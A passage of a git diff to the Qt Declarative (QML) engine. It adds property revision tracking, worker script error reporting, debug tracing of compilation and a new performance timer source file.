@@ -110,6 +110,10 @@ public:
             int notifyIndex; // When !IsFunction
             int relatedIndex; // When IsFunction
         };
+        uint overrideIndexIsProperty : 1;
+        int overrideIndex : 31;
+        int revision; 
+        int metaObjectOffset;
 
         static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0);
         void load(const QMetaProperty &, QDeclarativeEngine *engine = 0);
@@ -131,8 +135,9 @@ public:
     QDeclarativePropertyCache *copy() const;
     void append(QDeclarativeEngine *, const QMetaObject *, Data::Flag propertyFlags = Data::NoFlags,
                 Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
+    void append(QDeclarativeEngine *, const QMetaObject *, int revision, Data::Flag propertyFlags = Data::NoFlags,
+                Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
 
-    static QDeclarativePropertyCache *create(QDeclarativeEngine *, const QMetaObject *);
     static Data create(const QMetaObject *, const QString &);
 
     inline Data *property(const QScriptDeclarativeClass::Identifier &id) const;
@@ -141,13 +146,19 @@ public:
     Data *method(int) const;
     QStringList propertyNames() const;
 
+    inline Data *overrideData(Data *) const;
+    inline bool isAllowedInRevision(Data *) const;
+
     inline QDeclarativeEngine *qmlEngine() const;
     static Data *property(QDeclarativeEngine *, QObject *, const QScriptDeclarativeClass::Identifier &, Data &);
     static Data *property(QDeclarativeEngine *, QObject *, const QString &, Data &);
+
 protected:
     virtual void clear();
 
 private:
+    friend class QDeclarativeEnginePrivate;
+
     struct RData : public Data, public QDeclarativeRefCount { 
         QScriptDeclarativeClass::PersistentIdentifier identifier;
     };
@@ -155,6 +166,7 @@ private:
     typedef QVector<RData *> IndexCache;
     typedef QHash<QString, RData *> StringCache;
     typedef QHash<QScriptDeclarativeClass::Identifier, RData *> IdentifierCache;
+    typedef QVector<int> AllowedRevisionCache;
 
     void updateRecur(QDeclarativeEngine *, const QMetaObject *);
 
@@ -163,11 +175,13 @@ private:
     IndexCache methodIndexCache;
     StringCache stringCache;
     IdentifierCache identifierCache;
+    AllowedRevisionCache allowedRevisionCache;
 };
 Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyCache::Data::Flags);
   
 QDeclarativePropertyCache::Data::Data()
-: flags(0), propType(0), coreIndex(-1), notifyIndex(-1) 
+: flags(0), propType(0), coreIndex(-1), notifyIndex(-1), overrideIndexIsProperty(false), overrideIndex(-1),
+  revision(0), metaObjectOffset(-1)
 {
 }
 
@@ -176,7 +190,20 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache
     return flags == other.flags &&
            propType == other.propType &&
            coreIndex == other.coreIndex &&
-           notifyIndex == other.notifyIndex;
+           notifyIndex == other.notifyIndex &&
+           revision == other.revision;
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::overrideData(Data *data) const
+{
+    if (data->overrideIndex < 0)
+        return 0;
+
+    if (data->overrideIndexIsProperty)
+        return indexCache.at(data->overrideIndex);
+    else
+        return methodIndexCache.at(data->overrideIndex);
 }
 
 QDeclarativePropertyCache::Data *
@@ -197,6 +224,12 @@ bool QDeclarativePropertyCache::ValueTypeData::operator==(const ValueTypeData &o
            valueTypePropType == o.valueTypePropType; 
 }
 
+bool QDeclarativePropertyCache::isAllowedInRevision(Data *data) const
+{
+    return (data->metaObjectOffset == -1 && data->revision == 0) ||
+           (allowedRevisionCache[data->metaObjectOffset] >= data->revision);
+}
+
 QDeclarativeEngine *QDeclarativePropertyCache::qmlEngine() const
 {
     return engine;
diff --git a/src/declarative/qml/qdeclarativerefcount_p.h b/src/declarative/qml/qdeclarativerefcount_p.h
index 868cdc4..b896e5f 100644
--- a/src/declarative/qml/qdeclarativerefcount_p.h
+++ b/src/declarative/qml/qdeclarativerefcount_p.h
@@ -61,7 +61,7 @@ QT_BEGIN_NAMESPACE
 
 QT_MODULE(Declarative)
 
-class Q_AUTOTEST_EXPORT QDeclarativeRefCount
+class Q_DECLARATIVE_EXPORT QDeclarativeRefCount
 {
 public:
     QDeclarativeRefCount();
diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp
index 2cb1c65..6311e01 100644
--- a/src/declarative/qml/qdeclarativerewrite.cpp
+++ b/src/declarative/qml/qdeclarativerewrite.cpp
@@ -62,12 +62,17 @@ bool SharedBindingTester::isSharable(const QString &code)
     if (!parser.statement()) 
         return false;
 
+    return isSharable(parser.statement());
+}
+
+bool SharedBindingTester::isSharable(AST::Node *node)
+{
     _sharable = true;
-    AST::Node::acceptChild(parser.statement(), this);
+    AST::Node::acceptChild(node, this);
     return _sharable;
 }
 
-QString RewriteBinding::operator()(const QString &code, bool *ok)
+QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable)
 {
     Engine engine;
     NodePool pool(QString(), &engine);
@@ -80,10 +85,63 @@ QString RewriteBinding::operator()(const QString &code, bool *ok)
         return QString();
     } else {
         if (ok) *ok = true;
+        if (sharable) {
+            SharedBindingTester tester;
+            *sharable = tester.isSharable(parser.statement());
+        }
     }
     return rewrite(code, 0, parser.statement());
 }
 
+QString RewriteBinding::operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable)
+{
+    if (!node)
+        return code;
+
+    if (sharable) {
+        SharedBindingTester tester;
+        *sharable = tester.isSharable(node);
+    }
+
+    QDeclarativeJS::AST::ExpressionNode *expression = node->expressionCast();
+    QDeclarativeJS::AST::Statement *statement = node->statementCast();
+    if(!expression && !statement)
+        return code;
+
+    TextWriter w;
+    _writer = &w;
+    _position = expression ? expression->firstSourceLocation().begin() : statement->firstSourceLocation().begin();
+    _inLoop = 0;
+
+    accept(node);
+
+    unsigned startOfStatement = 0;
+    unsigned endOfStatement = (expression ? expression->lastSourceLocation().end() : statement->lastSourceLocation().end()) - _position;
+
+    QString startString = QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { ");
+    if (expression)
+        startString += QLatin1String("return ");
+    _writer->replace(startOfStatement, 0, startString);
+    _writer->replace(endOfStatement, 0, QLatin1String(" })"));
+
+    if (rewriteDump()) {
+        qWarning() << "=============================================================";
+        qWarning() << "Rewrote:";
+        qWarning() << qPrintable(code);
+    }
+
+    QString codeCopy = code;
+    w.write(&codeCopy);
+
+    if (rewriteDump()) {
+        qWarning() << "To:";
+        qWarning() << qPrintable(code);
+        qWarning() << "=============================================================";
+    }
+
+    return codeCopy;
+}
+
 void RewriteBinding::accept(AST::Node *node)
 {
     AST::Node::acceptChild(node, this);
diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h
index fc44a81..7c20a39 100644
--- a/src/declarative/qml/qdeclarativerewrite_p.h
+++ b/src/declarative/qml/qdeclarativerewrite_p.h
@@ -68,6 +68,7 @@ class SharedBindingTester : protected AST::Visitor
     bool _sharable;
 public:
     bool isSharable(const QString &code);
+    bool isSharable(AST::Node *Node);
     
     virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; }
     virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; }
@@ -81,7 +82,8 @@ class RewriteBinding: protected AST::Visitor
     QByteArray _name;
 
 public:
-    QString operator()(const QString &code, bool *ok = 0);
+    QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0);
+    QString operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable = 0);
 
     //name of the function:  used for the debugger
     void setName(const QByteArray &name) { _name = name; }
diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp
index 4531381..996920a 100644
--- a/src/declarative/qml/qdeclarativescriptparser.cpp
+++ b/src/declarative/qml/qdeclarativescriptparser.cpp
@@ -170,12 +170,6 @@ private:
     StateStack _stateStack;
     QStringList _scope;
     QString _contents;
-
-    inline bool isSignalProperty(const QByteArray &propertyName) const {
-        return (propertyName.length() >= 3 && propertyName.startsWith("on") &&
-                ('A' <= propertyName.at(2) && 'Z' >= propertyName.at(2)));
-    }
-
 };
 
 ProcessAST::ProcessAST(QDeclarativeScriptParser *parser)
@@ -307,7 +301,6 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
         obj->location = location;
 
         if (propertyCount) {
-
             Property *prop = currentProperty();
             Value *v = new Value;
             v->object = obj;
diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp
index 7d3450d..207fb57 100644
--- a/src/declarative/qml/qdeclarativesqldatabase.cpp
+++ b/src/declarative/qml/qdeclarativesqldatabase.cpp
@@ -351,7 +351,7 @@ static QScriptValue qmlsqldatabase_read_transaction(QScriptContext *context, QSc
 }
 
 /*
-    Currently documented in doc/src/declarastive/globalobject.qdoc
+    Currently documented in doc/src/declarative/globalobject.qdoc
 */
 static QScriptValue qmlsqldatabase_open_sync(QScriptContext *context, QScriptEngine *engine)
 {
diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp
index 371c504..aa1de43 100644
--- a/src/declarative/qml/qdeclarativestringconverters.cpp
+++ b/src/declarative/qml/qdeclarativestringconverters.cpp
@@ -136,7 +136,7 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int p
 
 QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok)
 {
-    if (s.startsWith(QLatin1Char('#')) && s.length() == 9) {
+    if (s.length() == 9 && s.startsWith(QLatin1Char('#'))) {
         uchar a = fromHex(s, 1);
         uchar r = fromHex(s, 3);
         uchar g = fromHex(s, 5);
@@ -144,9 +144,7 @@ QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok)
         if (ok) *ok = true;
         return QColor(r, g, b, a);
     } else {
-        QColor rv;
-        if (s.startsWith(QLatin1Char('#')) || QColor::colorNames().contains(s.toLower()))
-            rv = QColor(s);
+        QColor rv(s);
         if (ok) *ok = rv.isValid();
         return rv;
     }
diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp
index 45e6dbf..36cdde9 100644
--- a/src/declarative/qml/qdeclarativetypeloader.cpp
+++ b/src/declarative/qml/qdeclarativetypeloader.cpp
@@ -45,6 +45,7 @@
 #include <private/qdeclarativecompiler_p.h>
 #include <private/qdeclarativecomponent_p.h>
 #include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
 
 #include <QtDeclarative/qdeclarativecomponent.h>
 #include <QtCore/qdebug.h>
@@ -895,10 +896,12 @@ void QDeclarativeTypeData::downloadProgressChanged(qreal p)
 void QDeclarativeTypeData::compile()
 {
     Q_ASSERT(m_compiledData == 0);
+    QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Compiling);
 
     m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine());
     m_compiledData->url = m_imports.baseUrl();
     m_compiledData->name = m_compiledData->url.toString();
+    QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Compiling, m_compiledData->name);
 
     QDeclarativeCompiler compiler;
     if (!compiler.compile(typeLoader()->engine(), this, m_compiledData)) {
@@ -906,6 +909,7 @@ void QDeclarativeTypeData::compile()
         m_compiledData->release();
         m_compiledData = 0;
     }
+    QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Compiling);
 }
 
 void QDeclarativeTypeData::resolveTypes()
@@ -1001,6 +1005,8 @@ void QDeclarativeTypeData::resolveTypes()
         }
 
         if (ref.type) {
+            ref.majorVersion = majorVersion;
+            ref.minorVersion = minorVersion;
             foreach (QDeclarativeParser::Object *obj, parserRef->refObjects) {
                // store namespace for DOM
                obj->majorVersion = majorVersion;
diff --git a/src/declarative/qml/qdeclarativetypeloader_p.h b/src/declarative/qml/qdeclarativetypeloader_p.h
index beee358..6938892 100644
--- a/src/declarative/qml/qdeclarativetypeloader_p.h
+++ b/src/declarative/qml/qdeclarativetypeloader_p.h
@@ -215,10 +215,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeTypeData : public QDeclarativeDataBlob
 public:
     struct TypeReference
     {
-        TypeReference() : type(0), typeData(0) {}
+        TypeReference() : type(0), majorVersion(0), minorVersion(0), typeData(0) {}
 
         QDeclarativeParser::Location location;
         QDeclarativeType *type;
+        int majorVersion;
+        int minorVersion;
         QDeclarativeTypeData *typeData;
     };
 
diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
index 4a8ffe0..d3e2025 100644
--- a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
+++ b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
@@ -109,9 +109,8 @@ QDeclarativeTypeNameScriptClass::queryProperty(Object *obj, const Identifier &na
 
     } else if (data->type) {
 
-        QString strName = toString(name);
-
-        if (strName.at(0).isUpper()) {
+        if (startsWithUpper(name)) {
+            QString strName = toString(name);
             // Must be an enum
             if (data->mode == IncludeEnums) {
                 // ### Optimize
diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp
index 659c986..0f884b6 100644
--- a/src/declarative/qml/qdeclarativevaluetype.cpp
+++ b/src/declarative/qml/qdeclarativevaluetype.cpp
@@ -71,6 +71,7 @@ int qmlRegisterValueTypeEnums(const char *uri, int versionMajor, int versionMino
 
         0, 0,
 
+        0,
         0
     };
 
diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
index 558ef90..4c312b5 100644
--- a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
+++ b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
@@ -46,6 +46,8 @@
 #include "private/qdeclarativeengine_p.h"
 #include "private/qdeclarativeguard_p.h"
 
+#include <QtScript/qscriptcontextinfo.h>
+
 QT_BEGIN_NAMESPACE
 
 struct QDeclarativeValueTypeObject : public QScriptDeclarativeClass::Object {
@@ -161,17 +163,41 @@ void QDeclarativeValueTypeScriptClass::setProperty(Object *obj, const Identifier
     if (o->objectType == QDeclarativeValueTypeObject::Reference) {
         QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(obj);
 
+        ref->type->read(ref->object, ref->property);
+        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
+
+        QDeclarativeBinding *newBinding = 0;
+        if (value.isFunction() && !value.isRegExp()) {
+            QDeclarativeContextData *ctxt = QDeclarativeEnginePrivate::get(engine)->getContext(context());
+
+            QDeclarativePropertyCache::Data cacheData;
+            cacheData.flags = QDeclarativePropertyCache::Data::IsWritable;
+            cacheData.propType = ref->object->metaObject()->property(ref->property).userType();
+            cacheData.coreIndex = ref->property;
+
+            QDeclarativePropertyCache::ValueTypeData valueTypeData;
+            valueTypeData.valueTypeCoreIdx = m_lastIndex;
+            valueTypeData.valueTypePropType = p.userType();
+
+            newBinding = new QDeclarativeBinding(value, ref->object, ctxt);
+            QScriptContextInfo ctxtInfo(context());
+            newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+            QDeclarativeProperty prop = QDeclarativePropertyPrivate::restore(cacheData, valueTypeData, ref->object, ctxt);
+            newBinding->setTarget(prop);
+            if (newBinding->expression().contains(QLatin1String("this")))
+                newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+        }
+
         QDeclarativeAbstractBinding *delBinding = 
-            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, 0);
+            QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, newBinding);
         if (delBinding) 
             delBinding->destroy();
 
-        ref->type->read(ref->object, ref->property);
-        QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
         if (p.isEnumType() && (QMetaType::Type)v.type() == QMetaType::Double) 
             v = v.toInt();
         p.write(ref->type, v);
         ref->type->write(ref->object, ref->property, 0);
+
     } else {
         QDeclarativeValueTypeCopy *copy = static_cast<QDeclarativeValueTypeCopy *>(obj);
         copy->type->setValue(copy->value);
diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
index fb07bef..2d551f2 100644
--- a/src/declarative/qml/qdeclarativevme.cpp
+++ b/src/declarative/qml/qdeclarativevme.cpp
@@ -247,8 +247,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
                 ::memset(o, 0, instr.createSimple.typeSize + sizeof(QDeclarativeData));
                 instr.createSimple.create(o);
 
-                QDeclarativeData *ddata = 
-                    (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
+                QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
+                const QDeclarativeCompiledData::TypeReference &ref = types.at(instr.createSimple.type);
+                if (!ddata->propertyCache && ref.typePropertyCache) {
+                    ddata->propertyCache = ref.typePropertyCache;
+                    ddata->propertyCache->addref();
+                }
                 ddata->lineNumber = instr.line;
                 ddata->columnNumber = instr.createSimple.column;
 
@@ -320,10 +324,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
 
                 (void)new QDeclarativeVMEMetaObject(target, &mo, data, comp);
 
-                QDeclarativeData *ddata = QDeclarativeData::get(target, true);
-                if (ddata->propertyCache) ddata->propertyCache->release();
-                ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
-                ddata->propertyCache->addref();
+                if (instr.storeMeta.propertyCache != -1) {
+                    QDeclarativeData *ddata = QDeclarativeData::get(target, true);
+                    if (ddata->propertyCache) ddata->propertyCache->release();
+                    ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
+                    ddata->propertyCache->addref();
+                }
             }
             break;
 
@@ -932,7 +938,6 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
 
         QDeclarativeEnginePrivate::clear(bindValues);
         QDeclarativeEnginePrivate::clear(parserStatus);
-        ep->finalizedParserStatus.clear();
         return 0;
     }
 
@@ -974,6 +979,11 @@ QDeclarativeCompiledData::TypeReference::createInstance(QDeclarativeContextData
         ddata->ownMemory = false;
         QObjectPrivate::get(rv)->declarativeData = ddata;
 
+        if (typePropertyCache && !ddata->propertyCache) {
+            ddata->propertyCache = typePropertyCache;
+            ddata->propertyCache->addref();
+        }
+
         return rv;
     } else {
         Q_ASSERT(component);
diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp
index a3a32e9..2e8ab18 100644
--- a/src/declarative/qml/qdeclarativeworkerscript.cpp
+++ b/src/declarative/qml/qdeclarativeworkerscript.cpp
@@ -43,6 +43,7 @@
 #include "private/qdeclarativelistmodel_p.h"
 #include "private/qdeclarativelistmodelworkeragent_p.h"
 #include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeexpression_p.h"
 
 #include <QtCore/qcoreevent.h>
 #include <QtCore/qcoreapplication.h>
@@ -104,6 +105,19 @@ private:
     int m_id;
 };
 
+class WorkerErrorEvent : public QEvent
+{
+public:
+    enum Type { WorkerError = WorkerRemoveEvent::WorkerRemove + 1 };
+
+    WorkerErrorEvent(const QDeclarativeError &error);
+
+    QDeclarativeError error() const;
+
+private:
+    QDeclarativeError m_error;
+};
+
 class QDeclarativeWorkerScriptEnginePrivate : public QObject
 {
     Q_OBJECT
@@ -146,6 +160,7 @@ public:
         WorkerScript();
 
         int id;
+        QUrl source;
         bool initialized;
         QDeclarativeWorkerScript *owner;
         QScriptValue object;
@@ -173,6 +188,7 @@ protected:
 private:
     void processMessage(int, const QVariant &);
     void processLoad(int, const QUrl &);
+    void reportScriptException(WorkerScript *);
 };
 
 QDeclarativeWorkerScriptEnginePrivate::QDeclarativeWorkerScriptEnginePrivate(QDeclarativeEngine *engine)
@@ -273,6 +289,11 @@ void QDeclarativeWorkerScriptEnginePrivate::processMessage(int id, const QVarian
         args.setProperty(0, variantToScriptValue(data, workerEngine));
 
         script->callback.call(script->object, args);
+
+        if (workerEngine->hasUncaughtException()) {
+            reportScriptException(script);
+            workerEngine->clearExceptions();
+        }
     }
 }
 
@@ -286,7 +307,7 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
     QFile f(fileName);
     if (f.open(QIODevice::ReadOnly)) {
         QByteArray data = f.readAll();
-        QString script = QString::fromUtf8(data);
+        QString sourceCode = QString::fromUtf8(data);
 
         QScriptValue activation = getWorker(id);
 
@@ -296,10 +317,19 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
         ctxt->pushScope(urlContext);
         ctxt->pushScope(activation);
         ctxt->setActivationObject(activation);
-        QDeclarativeScriptParser::extractPragmas(script);
+        QDeclarativeScriptParser::extractPragmas(sourceCode);
 
         workerEngine->baseUrl = url;
-        workerEngine->evaluate(script);
+        workerEngine->evaluate(sourceCode);
+
+        WorkerScript *script = workers.value(id);
+        if (script) {
+            script->source = url;
+            if (workerEngine->hasUncaughtException()) {
+                reportScriptException(script);
+                workerEngine->clearExceptions();
+            }
+        }
 
         workerEngine->popContext();
     } else {
@@ -307,6 +337,22 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
     }
 }
 
+void QDeclarativeWorkerScriptEnginePrivate::reportScriptException(WorkerScript *script)
+{
+    if (!script || !workerEngine->hasUncaughtException())
+        return;
+
+    QDeclarativeError error;
+    QDeclarativeExpressionPrivate::exceptionToError(workerEngine, error);
+    error.setUrl(script->source);
+
+    QDeclarativeWorkerScriptEnginePrivate *p = QDeclarativeWorkerScriptEnginePrivate::get(workerEngine);
+
+    QMutexLocker(&p->m_lock);
+    if (script->owner)
+        QCoreApplication::postEvent(script->owner, new WorkerErrorEvent(error));
+}
+
 QVariant QDeclarativeWorkerScriptEnginePrivate::scriptValueToVariant(const QScriptValue &value)
 {
     if (value.isBool()) {
@@ -453,6 +499,16 @@ int WorkerRemoveEvent::workerId() const
     return m_id;
 }
 
+WorkerErrorEvent::WorkerErrorEvent(const QDeclarativeError &error)
+: QEvent((QEvent::Type)WorkerError), m_error(error)
+{
+}
+
+QDeclarativeError WorkerErrorEvent::error() const
+{
+    return m_error;
+}
+
 QDeclarativeWorkerScriptEngine::QDeclarativeWorkerScriptEngine(QDeclarativeEngine *parent)
 : QThread(parent), d(new QDeclarativeWorkerScriptEnginePrivate(parent))
 {
@@ -544,12 +600,7 @@ void QDeclarativeWorkerScriptEngine::run()
     The above worker script specifies a JavaScript file, "script.js", that handles
     the operations to be performed in the new thread. Here is \c script.js:
 
-    \qml
-    WorkerScript.onMessage = function(message) {
-        // ... long-running operations and calculations are done here
-        WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
-    }
-    \endqml
+    \quotefile doc/src/snippets/declarative/script.js
 
     When the user clicks anywhere within the rectangle, \c sendMessage() is
     called, triggering the \tt WorkerScript.onMessage() handler in
@@ -687,6 +738,10 @@ bool QDeclarativeWorkerScript::event(QEvent *event)
             emit message(value);
         }
         return true;
+    } else if (event->type() == (QEvent::Type)WorkerErrorEvent::WorkerError) {
+        WorkerErrorEvent *workerEvent = static_cast<WorkerErrorEvent *>(event);
+        QDeclarativeEnginePrivate::warning(qmlEngine(this), workerEvent->error());
+        return true;
     } else {
         return QObject::event(event);
     }
diff --git a/src/declarative/qml/qmetaobjectbuilder.cpp b/src/declarative/qml/qmetaobjectbuilder.cpp
index cefc561..6a0226f 100644
--- a/src/declarative/qml/qmetaobjectbuilder.cpp
+++ b/src/declarative/qml/qmetaobjectbuilder.cpp
@@ -122,7 +122,7 @@ enum PropertyFlags  {
     User = 0x00100000,
     ResolveUser = 0x00200000,
     Notify = 0x00400000,
-    Dynamic = 0x00800000
+    Revisioned = 0x00800000
 };
 
 enum MethodFlags  {
@@ -139,7 +139,8 @@ enum MethodFlags  {
 
     MethodCompatibility = 0x10,
     MethodCloned = 0x20,
-    MethodScriptable = 0x40
+    MethodScriptable = 0x40,
+    MethodRevisioned = 0x80
 };
 
 struct QMetaObjectPrivate
@@ -2277,21 +2278,6 @@ bool QMetaPropertyBuilder::isEnumOrFlag() const
 }
 
 /*!
-    Returns true if the property has the dynamic flag set;
-    otherwise returns false.  The default value is false.
-
-    \sa setDynamic()
-*/
-bool QMetaPropertyBuilder::isDynamic() const
-{
-    QMetaPropertyBuilderPrivate *d = d_func();
-    if (d)
-        return d->flag(Dynamic);
-    else
-        return false;
-}
-
-/*!
     Sets this property to readable if \a value is true.
 
     \sa isReadable(), setWritable()
@@ -2415,19 +2401,6 @@ void QMetaPropertyBuilder::setEnumOrFlag(bool value)
 }
 
 /*!
-    Sets this property to have the dynamic flag if \a value is
-    true.
-
-    \sa isDynamic()
-*/
-void QMetaPropertyBuilder::setDynamic(bool value)
-{
-    QMetaPropertyBuilderPrivate *d = d_func();
-    if (d)
-        d->setFlag(Dynamic, value);
-}
-
-/*!
     \class QMetaEnumBuilder
     \internal
     \brief The QMetaEnumBuilder class enables modifications to an enumerator definition on a meta object builder.
diff --git a/src/declarative/qml/qmetaobjectbuilder_p.h b/src/declarative/qml/qmetaobjectbuilder_p.h
index 6afd755..2678bff 100644
--- a/src/declarative/qml/qmetaobjectbuilder_p.h
+++ b/src/declarative/qml/qmetaobjectbuilder_p.h
@@ -258,7 +258,6 @@ public:
     bool isUser() const;
     bool hasStdCppSet() const;
     bool isEnumOrFlag() const;
-    bool isDynamic() const;
 
     void setReadable(bool value);
     void setWritable(bool value);
@@ -270,7 +269,6 @@ public:
     void setUser(bool value);
     void setStdCppSet(bool value);
     void setEnumOrFlag(bool value);
-    void setDynamic(bool value);
 
 private:
     const QMetaObjectBuilder *_mobj;
diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri
index 66b69f9..bf9e54a 100644
--- a/src/declarative/qml/qml.pri
+++ b/src/declarative/qml/qml.pri
@@ -55,7 +55,8 @@ SOURCES += \
     $$PWD/qdeclarativedirparser.cpp \
     $$PWD/qdeclarativeextensionplugin.cpp \
     $$PWD/qdeclarativeimport.cpp \
-    $$PWD/qdeclarativelist.cpp 
+    $$PWD/qdeclarativelist.cpp \ 
+    $$PWD/qperformancetimer.cpp
 
 HEADERS += \
     $$PWD/qdeclarativeparser_p.h \
@@ -129,8 +130,12 @@ HEADERS += \
     $$PWD/qdeclarativedirparser_p.h \
     $$PWD/qdeclarativeextensioninterface.h \
     $$PWD/qdeclarativeimport_p.h \
-    $$PWD/qdeclarativeextensionplugin.h
+    $$PWD/qdeclarativeextensionplugin.h \
+    $$PWD/qperformancetimer_p.h
 
 QT += sql
 include(parser/parser.pri)
 include(rewriter/rewriter.pri)
+
+# mirrors logic in corelib/kernel/kernel.pri
+unix:!symbian: contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri)
diff --git a/src/declarative/qml/qperformancetimer.cpp b/src/declarative/qml/qperformancetimer.cpp
new file mode 100644
index 0000000..1d7ca80
--- /dev/null
+++ b/src/declarative/qml/qperformancetimer.cpp
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qperformancetimer_p.h"
+
+#if defined(Q_OS_MAC)
+#include <sys/time.h>
+#include <unistd.h>
+#include <mach/mach_time.h>
+#elif defined(Q_OS_UNIX)
+#include <sys/time.h>
+#include <time.h>
+#include <unistd.h>
+#elif defined(Q_OS_SYMBIAN)
+#include <e32std.h>
+#include <sys/time.h>
+#include <hal.h>
+#elif defined(Q_OS_WIN)
+#include <windows.h>
+#endif
+
+// mac/unix code heavily copied from QElapsedTimer
+
+QT_BEGIN_NAMESPACE
+
+////////////////////////////// Mac //////////////////////////////
+#if defined(Q_OS_MAC)
+
+static mach_timebase_info_data_t info = {0,0};
+static qint64 absoluteToNSecs(qint64 cpuTime)
+{
+    if (info.denom == 0)
+        mach_timebase_info(&info);
+    qint64 nsecs = cpuTime * info.numer / info.denom;
+    return nsecs;
+}
+
+void QPerformanceTimer::start()
+{
+    t1 = mach_absolute_time();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+    uint64_t cpu_time = mach_absolute_time();
+    return absoluteToNSecs(cpu_time - t1);
+}
+
+////////////////////////////// Unix //////////////////////////////
+#elif defined(Q_OS_UNIX)
+
+#if defined(QT_NO_CLOCK_MONOTONIC) || defined(QT_BOOTSTRAPPED)
+// turn off the monotonic clock
+# ifdef _POSIX_MONOTONIC_CLOCK
+#  undef _POSIX_MONOTONIC_CLOCK
+# endif
+# define _POSIX_MONOTONIC_CLOCK -1
+#endif
+
